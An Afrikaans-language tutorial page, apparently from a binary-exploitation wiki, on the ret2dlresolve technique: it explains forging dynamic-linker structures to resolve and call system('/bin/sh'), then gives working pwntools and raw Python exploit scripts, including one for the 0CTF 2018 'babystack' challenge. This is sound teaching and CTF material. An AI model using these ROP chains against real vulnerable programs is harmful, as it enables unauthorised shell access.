Ret2dlresolve

Reading time: 6 minutes

Basic Information

Soos verduidelik op die bladsy oor GOT/PLT en Relro, binaries sonder Full Relro sal simbole (soos adresse na eksterne biblioteke) die eerste keer wat hulle gebruik word, oplos. Hierdie oplosproses gebeur deur die funksie _dl_runtime_resolve aan te roep.

Die _dl_runtime_resolve funksie neem vanaf die stap verwysings na 'n paar strukture wat dit nodig het om die gespesifiseerde simbool te resolveer.

Daarom is dit moontlik om al hierdie strukture te vervals om die dinamies gekoppelde simbool (soos die system funksie) te laat oplos en dit met 'n geconfigureerde parameter aan te roep (bv. system('/bin/sh')).

Gewoonlik word al hierdie strukture vervals deur 'n begin ROP-ketting wat read aanroep oor 'n skryfbare geheue, dan word die strukture en die string '/bin/sh' oorgedra sodat dit deur read in 'n bekende ligging gestoor word, en dan gaan die ROP-ketting voort deur _dl_runtime_resolve aan te roep, wat die adres van system in die vervalste strukture oplos en hierdie adres aanroep met die adres na $'/bin/sh'.

Kyk na hierdie video vir 'n goeie verduideliking oor hierdie tegniek in die tweede helfte van die video:

- YouTube

Of kyk na hierdie bladsye vir 'n stap-vir-stap verduideliking:

• https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/ret2dlresolve#how-it-works
• https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures

Attack Summary

1. Skryf vervalste strukture in 'n plek
2. Stel die eerste argument van system ($rdi = &'/bin/sh')
3. Stel die adresse na die strukture op die stap om _dl_runtime_resolve aan te roep
4. Roep _dl_runtime_resolve aan
5. system sal opgelos en met '/bin/sh' as argument aangeroep word

Van die pwntools documentation, so lyk 'n ret2dlresolve aanval:

context.binary = elf = ELF(pwnlib.data.elf.ret2dlresolve.get('amd64'))
>>> rop = ROP(elf)
>>> dlresolve = Ret2dlresolvePayload(elf, symbol="system", args=["echo pwned"])
>>> rop.read(0, dlresolve.data_addr) # do not forget this step, but use whatever function you like
>>> rop.ret2dlresolve(dlresolve)
>>> raw_rop = rop.chain()
>>> print(rop.dump())
0x0000:         0x400593 pop rdi; ret
0x0008:              0x0 [arg0] rdi = 0
0x0010:         0x400591 pop rsi; pop r15; ret
0x0018:         0x601e00 [arg1] rsi = 6299136
0x0020:      b'iaaajaaa' <pad r15>
0x0028:         0x4003f0 read
0x0030:         0x400593 pop rdi; ret
0x0038:         0x601e48 [arg0] rdi = 6299208
0x0040:         0x4003e0 [plt_init] system
0x0048:          0x15670 [dlresolve index]

Voorbeeld

Pure Pwntools

Jy kan 'n voorbeeld van hierdie tegniek hier vind wat 'n baie goeie verduideliking van die finale ROP-ketting bevat, maar hier is die finale eksploit wat gebruik is:

from pwn import *

elf = context.binary = ELF('./vuln', checksec=False)
p = elf.process()
rop = ROP(elf)

# create the dlresolve object
dlresolve = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])

rop.raw('A' * 76)
rop.read(0, dlresolve.data_addr) # read to where we want to write the fake structures
rop.ret2dlresolve(dlresolve)     # call .plt and dl-resolve() with the correct, calculated reloc_offset

log.info(rop.dump())

p.sendline(rop.chain())
p.sendline(dlresolve.payload)    # now the read is called and we pass all the relevant structures in

p.interactive()

Rou

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
# This exploit is based off of: https://github.com/sajjadium/ctf-writeups/tree/master/0CTFQuals/2018/babystack

from pwn import *

target = process('./babystack')
#gdb.attach(target)

elf = ELF('babystack')

# Establish starts of various sections
bss = 0x804a020

dynstr = 0x804822c

dynsym = 0x80481cc

relplt = 0x80482b0

# Establish two functions

scanInput = p32(0x804843b)
resolve = p32(0x80482f0) #dlresolve address

# Establish size of second payload

payload1_size = 43

# Our first scan
# This will call read to scan in our fake entries into the plt
# Then return back to scanInput to re-exploit the bug

payload0 = ""

payload0 += "0"*44                        # Filler from start of input to return address
payload0 += p32(elf.symbols['read'])    # Return read
payload0 += scanInput                    # After the read call, return to scan input
payload0 += p32(0)                        # Read via stdin
payload0 += p32(bss)                    # Scan into the start of the bss
payload0 += p32(payload1_size)            # How much data to scan in

target.send(payload0)

# Our second scan
# This will be scanned into the start of the bss
# It will contain the fake entries for our ret_2_dl_resolve attack

# Calculate the r_info value
# It will provide an index to our dynsym entry
dynsym_offset = ((bss + 0xc) - dynsym) / 0x10
r_info = (dynsym_offset << 8) | 0x7

# Calculate the offset from the start of dynstr section to our dynstr entry
dynstr_index = (bss + 28) - dynstr

paylaod1 = ""

# Our .rel.plt entry
paylaod1 += p32(elf.got['alarm'])
paylaod1 += p32(r_info)

# Empty
paylaod1 += p32(0x0)

# Our dynsm entry
paylaod1 += p32(dynstr_index)
paylaod1 += p32(0xde)*3

# Our dynstr entry
paylaod1 += "system\x00"

# Store "/bin/sh" here so we can have a pointer ot it
paylaod1 += "/bin/sh\x00"

target.send(paylaod1)

# Our third scan, which will execute the ret_2_dl_resolve
# This will just call 0x80482f0, which is responsible for calling the functions for resolving
# We will pass it the `.rel.plt` index for our fake entry
# As well as the arguments for system

# Calculate address of "/bin/sh"
binsh_bss_address = bss + 35

# Calculate the .rel.plt offset
ret_plt_offset = bss - relplt


paylaod2 = ""

paylaod2 += "0"*44
paylaod2 += resolve                 # 0x80482f0
paylaod2 += p32(ret_plt_offset)        # .rel.plt offset
paylaod2 += p32(0xdeadbeef)            # The next return address after 0x80482f0, really doesn't matter for us
paylaod2 += p32(binsh_bss_address)    # Our argument, address of "/bin/sh"

target.send(paylaod2)

# Enjoy the shell!
target.interactive()

Ander Voorbeelde & Verwysings

• https://youtu.be/ADULSwnQs-s
• https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve
• https://guyinatuxedo.github.io/18-ret2_csu_dl/0ctf18_babystack/index.html
• 32bit, geen relro, geen canary, nx, geen pie, basiese klein buffer overflow en terugkeer. Om dit te benut, word die bof gebruik om read weer aan te roep met 'n .bss afdeling en 'n groter grootte, om daarin die dlresolve vals tabelles te stoor om system te laai, terug te keer na hoof en die aanvanklike bof weer te misbruik om dlresolve aan te roep en dan system('/bin/sh').